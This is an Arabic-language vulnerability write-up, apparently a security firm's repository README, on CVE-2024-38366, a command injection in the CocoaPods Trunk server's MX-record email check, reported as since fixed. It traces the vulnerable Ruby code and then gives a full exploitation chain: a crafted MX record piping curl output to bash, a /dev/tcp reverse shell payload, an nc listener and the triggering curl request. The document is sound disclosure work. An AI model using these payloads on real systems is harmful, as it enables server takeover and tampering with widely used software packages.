
ثغرة تنفيذ التعليمات البرمجية عن بعد في CocoaPods CVE-2024-38366
يتضمن هذا المستودع تحليلاً أعمق قليلاً لعملية البحث والأفكار وراء ثغرة RCE التي تم اكتشافها كجزء من البحث واختراق مدير حزم CocoaPods.
يمكن قراءة مقالة النشر البحثية هنا: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods
يعمل خادم CocoaPods Trunk كمستودع مركزي ومنصة توزيع لحزم CocoaPods والمكتبات والأطر الأساسية المستخدمة في نظام Apple البيئي، وخاصة تطوير iOS وmacOS. الغرض الأساسي منه هو تسهيل المشاركة والإدارة السلسة لهذه الموارد المفتوحة المصدر.
تتكون عملية تسجيل المطورين في خادم CocoaPods Trunk من الخطوات التالية لضمان أمان المنصة:
تم اختبار أحدث إصدار من trunk.cocoapods.org (الفرع الرئيسي) والتحقق من صحته في بيئة الإنتاج وقت البحث. تم إصلاح الثغرة منذ ذلك الحين ولم تعد قابلة للاستغلال.
السبب الجذري للثغرة هو التحقق غير الكافي من خطوة التحقق من صحة نطاق البريد الإلكتروني (أثناء عملية تسجيل المطور) والتنفيذ غير الآمن للأوامر. على وجه التحديد، يمكن للمهاجم التلاعب بالإدخال بطريقة تتجاوز التحقق من صحة سجلات Mail Exchanger (MX) للنطاق، مما يؤدي إلى القدرة على حقن وتنفيذ أوامر نظام تشغيل عشوائية على خادم Trunk.
يمثل هذا تهديداً خطيراً لأمن المنصة، لأنه يسمح للأفراد غير المصرح لهم باحتمال المساس بسلامة الخادم، وسرية البيانات المخزنة، وتعطيل عملياته.
APP/CONTROLLERS/APP_CONTROLLER.RB
يقوم ملف App Controller بتعريف نقاط نهاية API لخادم Trunk، بما في ذلك SessionsController، التي تخدم عبر المسار /api/v1/sessions.

APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB
لتوليد جلسة جديدة، يخدم ملف Session Controller نقطة نهاية HTTP POST API – /api/v1/sessions.
تقوم نقطة النهاية بمعالجة تفاصيل التسجيل المقدمة من المستخدم، بما في ذلك معلمات "email" و"name" و"description". ثم تستدعي طريقة Owner.find_or_initialize_by_email_and_name.
يشمل استدعاء الدالة قيمتي المعلمتين "email" و"name".
APP/MODELS/OWNER.RB
يقوم ملف Owner Model بتعريف طريقة find_or_initialize_by_email_and_name التي تتحقق مما إذا كان البريد الإلكتروني المقدم موجوداً. إذا لم يكن كذلك، فإنه ينشئ كائن Owner جديد باستخدام المعلمات المذكورة أعلاه.

بمجرد إنشاء الكائن، وقبل تخزينه في قاعدة البيانات، سيقوم إطار العمل Sequel بتنفيذ طريقة validate. تتضمن هذه الطريقة العديد من التحققيات، الموجودة في حزمة RFC-822.
ركزنا على تنفيذ طريقة validates_mx_record، التي تستخدم حزمة RFC-822.

RFC-822/LIB/RFC822.RB
تطبق المكتبة طريقة mx_records للتحقق مما إذا كان النطاق المقدم صالحاً. علاوة على ذلك، تطبق التحقق من استجابة سجل MX باستخدام الأمر host.
تقوم الطريقة أولاً بمقارنة عنوان البريد الإلكتروني بالكامل بنمط البريد الإلكتروني المعرّف – التحقق مما إذا كان البريد الإلكتروني المقدم يطابق النمط. إذا لم يطابق النمط، ستعيد الطريقة فارغة ولن تتابع إلى الفحوصات النشطة عبر الأمر host.
ثم تستدعي طريقة mx_records طريقة raw_mx_records التي تتلاعب بقيمة البريد الإلكتروني – تجلب فقط جزء النطاق (كل شيء بعد آخر '@')، وتستدعي طريقة host_mx باستخدام النطاق المستخرج كقيمة معلمتها.

تنفذ طريقة host_mx أمر نظام تشغيل عشوائياً، تقوم بدمجه مع نطاق البريد الإلكتروني المقدم من المستخدم.
الأمر النهائي المنفذ هو كما يلي:
/usr/bin/env host -t MX <DOMAIN>
لبدء استغلال الثغرة، قمنا بتقديم طلب HTTP POST إلى نقطة نهاية API /api/v1/sessions. في نص الطلب، قدمنا إدخالاً متلاعباً به.
كان الهدف الرئيسي هو تحفيز عملية التحقق من صحة سجل MX، والتي ستؤدي في النهاية إلى تقييم وتنفيذ إدخالنا الضار من قبل المستخدم، مما يؤدي إلى تنفيذ أوامر نظام التشغيل على خادم trunk.
لتحقيق هدفنا وإنشاء قوقعة عكسية تفاعلية بالكامل، كان علينا التغلب على بعض التحديات:
reef<span>@evasec.io|curl{IFS}evasec.io لن تكون فعالة، لأن الخادم سيعالجها بأحرف صغيرة.reef<span>@evasec.io|{curl,evasec.io} لن تعمل بسبب وجود الأحرف التالية التي ستقوم المكتبة بإزالتها:
" " (مسافة)"().,<>@[]لإكمال مهمتنا، احتجنا إلى تجاوز الجدار الصلب الذي واجهناه.
اكتشفنا أن الأمر /usr/bin/env host -t MX <DOMAIN> يوفر مخرجات يمكننا التحكم فيها، مما يسمح لنا بتجاوز هذه التحديات.
يمكن تسخير المخرجات عن طريق توجيهها إلى أمر bash، مما يخلق فرصة لتنفيذ الكود.
على سبيل المثال:
/usr/bin/env host -t MX <DOMAIN> | bash
قمنا بالتلاعب بسجل MX على نطاقنا، المُدار عبر Route53 على AWS. يحتوي سجل MX على السلسلة الصالحة التالية:
10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com
الهدف: تم ضبط الحمولة المصنوعة ليتم تنفيذها أثناء التحقق من صحة النطاق عبر الأمر host.
لبدء تنفيذ الكود عن بُعد، استدعينا نقطة نهاية API POST /api/v1/sessions والحمولة التالية:
anything<span>@owned.domain|bash
بينما يمثل النطاق "owned.domain" سجل MX الضار كما هو موصوف أعلاه.
إعداد خادم الحمولة: قم بإعداد خادم ويب لتقديم ملف payload.txt، الذي يحتوي على الكود المراد تنفيذه على خادم Trunk.
sh -i >& /dev/tcp/SERVER/1337 0>&1إنشاء سجل MX ضار: قم بإنشاء سجل MX جديد يتضمن حمولة مصممة لاسترداد الحمولة المُعدة من الخطوة 1 وتنفيذها.
10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.comإعداد مستمع للقوقعة العكسية: قم بتشغيل مستمع للقوقعة العكسية، مثل netcat (nc)، على منفذ عام الوصول.
nc -lvp 1337تنفيذ القوقعة العكسية: أرسل طلب HTTP لتشغيل تنفيذ القوقعة العكسية، ويمكن القيام بذلك باستخدام أمر curl.
curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'


في بحثنا، حددنا ثغرة أمنية حرجة داخل خادم CocoaPods Trunk تمكن من تنفيذ أوامر نظام تشغيل عشوائية (تنفيذ كود عن بُعد تفاعلي بالكامل).
إذا تمكن مهاجم غير مصرح له من اختراق الخادم، يمكنه/يمكنها إدخال كود ضار في المكتبات واسعة الاستخدام. قد يؤدي هذا إلى ثغرات أمنية خطيرة في عدد لا يحصى من تطبيقات iOS وmacOS التي تعتمد على هذه الحزم CocoaPods المخترقة.
بالإضافة إلى ذلك، يمكن للمهاجم التلاعب بمواصفات pod، أو تعطيل توزيع المكتبات الشرعية، أو التسبب في تعطيل واسع النطاق داخل نظام CocoaPods البيئي.